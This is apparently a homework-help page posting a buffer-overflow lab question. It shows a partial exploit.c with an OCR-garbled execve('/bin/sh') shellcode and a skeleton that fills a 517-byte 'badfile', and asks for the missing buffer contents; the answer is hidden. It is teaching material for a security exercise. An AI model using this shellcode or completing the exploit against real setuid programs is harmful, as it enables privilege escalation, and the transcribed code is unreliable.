Answered step by step
Verified Expert Solution
Link Copied!

Question

1 Approved Answer

We provide you with a partially completed exploit code called exploit.c. The goal of this code is to construct contents for badfile. In this code,

We provide you with a partially completed exploit code called exploit.c. The goal of this code is to construct contents for badfile. In this code, the shellcode is given to you. You need to develop the rest.

*PLEASE ANSWER THE "YOU NEED TO FILL THE BUFFER WITH APPROPRIATE CONTENTS HERE" *

image text in transcribed

s exploit.c /* A program that creates a file containing code for launching shell/ #include #include #include char shellcode[] /* xor1 %eax,%eax /* pushl %eax /s pushl $ex68732f2f /s pushl Sex6e69622f /*movl %esp,Xebx /* pushl %eax /* pushl %ebx /*movl %esp,%ecx /* cdq /* movb $8x8b,%al / int $ex8e "x311xce "x58" "x68"//sh" "x68""/bin" "x58" "X53 "x89 xe1" x99" "xcd\x80" void main(int argc, char *argv) char buffr517]; FILE *badfile Initialize buffer with ex9e (NOP instruction) / memset(&buffer, ex9e, 517) /s You need to fill the buffer with appropriate contents here * /* Save the contents to the file "badfile" badfile =fopen("/badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile)

Step by Step Solution

There are 3 Steps involved in it

Step: 1

blur-text-image

Get Instant Access to Expert-Tailored Solutions

See step-by-step solutions with expert insights and AI powered tools for academic success

Step: 2

blur-text-image

Step: 3

blur-text-image

Ace Your Homework with AI

Get the answers you need in no time with our AI-driven, step-by-step assistance

Get Started

Recommended Textbook for

Intelligent Information And Database Systems 6th Asian Conference Aciids 2014 Bangkok Thailand April 7 9 2014 Proceedings Part I 9 2014 Proceedings Part 1 Lnai 8397

Authors: Ngoc-Thanh Nguyen ,Boonwat Attachoo ,Bogdan Trawinski ,Kulwadee Somboonviwat

2014th Edition

3319054759, 978-3319054759

Students also viewed these Databases questions